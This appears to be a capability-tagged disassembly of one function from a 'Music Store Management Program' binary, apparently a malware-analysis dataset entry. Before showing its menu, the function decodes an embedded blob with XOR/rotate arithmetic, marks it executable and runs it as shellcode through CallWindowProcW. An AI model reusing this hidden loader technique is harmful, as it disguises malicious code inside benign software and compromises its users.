Function at 0x4217b0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x8ca9ef6c
mov esi, eax
call fcn.0041efe0
push str.Rpcrt4.dll
call eax
push 0x958d1c17
mov esi, eax
call fcn.0041efe0
lea ecx, [esp + 0x14]
push ecx
push 0
push 1
push 0
push 2
push 0
call eax
test eax, eax
je 0x42184c
cmp eax, 0x57
jne 0x42184c
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x4249c0]
sub dl, 0x63
xor dl, al
sub dl, 0x34
xor dl, al
sub dl, al
rol dl, 3
xor dl, al
add dl, al
xor dl, 0xc0
rol dl, 2
add dl, 0x57
rol dl, 2
mov cl, 0xec
sub cl, dl
rol cl, 3
xor cl, al
mov byte [eax + 0x4249c0], cl
inc eax
cmp eax, 0x4c05
jb 0x421810
lea edx, [esp + 0x18]
push edx
push 0x40
push 0x4c05
push 0x4249c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
push edi
push edi
push edi
push 0x4295c8
push 0x4249c0
call dword [sym.imp.USER32.dll_CallWindowProcW]
push 0x4ac36c
call fcn.0040a42d
add esp, 4
push str.title_Music_Store_Management_Program
call fcn.0040a42d
add esp, 4
push str.color_0f
call fcn.0040a42d
add esp, 4
call fcn.004019b0
push str.Welcome_To_Music_Store
push 0x4ae6c0
mov dword [esp + 0x24], edi
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
mov bl, 6
test byte [eax + 8], bl
jne 0x4218ea
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x4218ea
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x42190b
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421903
or eax, 4
push 0
push eax
call fcn.00401740
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421938
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421938
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421959
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421951
or eax, 4
push 0
push eax
call fcn.00401740
push str.Music_Store_Menu
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x42199a
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x42199a
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4219bb
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x4219b3
or eax, 4
push 0
push eax
call fcn.00401740
push str.1._Create_Order.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x4219fc
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x4219fc
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421a1d
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421a15
or eax, 4
push 0
push eax
call fcn.00401740
push str.2._Find_Music.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421a5e
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421a5e
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421a7f
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421a77
or eax, 4
push 0
push eax
call fcn.00401740
push str.3._Sold_Items.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421ac0
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421ac0
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421ae1
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421ad9
or eax, 4
push 0
push eax
call fcn.00401740
push str.4._Item_in_Stock.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421b22
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421b22
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421b43
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421b3b
or eax, 4
push 0
push eax
call fcn.00401740
push str.5._All_Items.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421b84
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421b84
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421ba5
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421b9d
or eax, 4
push 0
push eax
call fcn.00401740
push str.6._Add_New_Item.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421be6
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421be6
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421c07
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421bff
or eax, 4
push 0
push eax
call fcn.00401740
push str.7._Edit_Item.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421c48
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421c48
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421c69
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421c61
or eax, 4
push 0
push eax
call fcn.00401740
push str.8._Remove_Item.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421caa
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421caa
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421ccb
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421cc3
or eax, 4
push 0
push eax
call fcn.00401740
push str.9._Exit.
push 0x4ae6c0
call fcn.00407070
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401f30
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], bl
jne 0x421d0c
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x421d0c
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x421d2d
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], 0
jne 0x421d25
or eax, 4
push 0
push eax
call fcn.00401740
push str.Choose_One:
push 0x4ae6c0
call fcn.00407070
add esp, 8
lea edx, [esp + 0x1c]
push edx
call fcn.00402100
mov eax, dword [esp + 0x1c]
dec eax
cmp eax, 8
ja case.default.0x421d57
jmp dword [eax*4 + 0x421ea4]
call fcn.0041f100
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.004206c0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.0041f070
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.004208f0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.00421300
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.00420980
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.0041f850
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.00421390
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push str.Program_terminating._Are_you_sure___y_N_:
push 0x4ae6c0
call fcn.00407070
lea eax, [esp + 0x1b]
push eax
call fcn.00407250
mov al, byte [esp + 0x1f]
add esp, 0xc
cmp al, 0x79
je 0x421e96
cmp al, 0x59
je 0x421e96
cmp al, 0x6e
je 0x421e5d
cmp al, 0x4e
je 0x421e5d
push str.Next_time_choose_after_read_the_corresponding_line.
push 0x4ae6c0
call fcn.00407070
push eax
call fcn.00401950
add esp, 0xc
push str.Program_terminating._Are_you_sure___y_N_:
push 0x4ae6c0
call fcn.00407070
lea ecx, [esp + 0x1b]
push ecx
call fcn.00407250
mov al, byte [esp + 0x1f]
add esp, 0xc
cmp al, 0x79
jne 0x421e06
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x4ac36c
call fcn.0040a42d
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push str.Please_choose_between_1___7._Press_Enter_To_Continue...
push 0x4ae6c0
call fcn.00407070
call fcn.0041ef46
push 0x4ac36c
call fcn.0040a42d
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10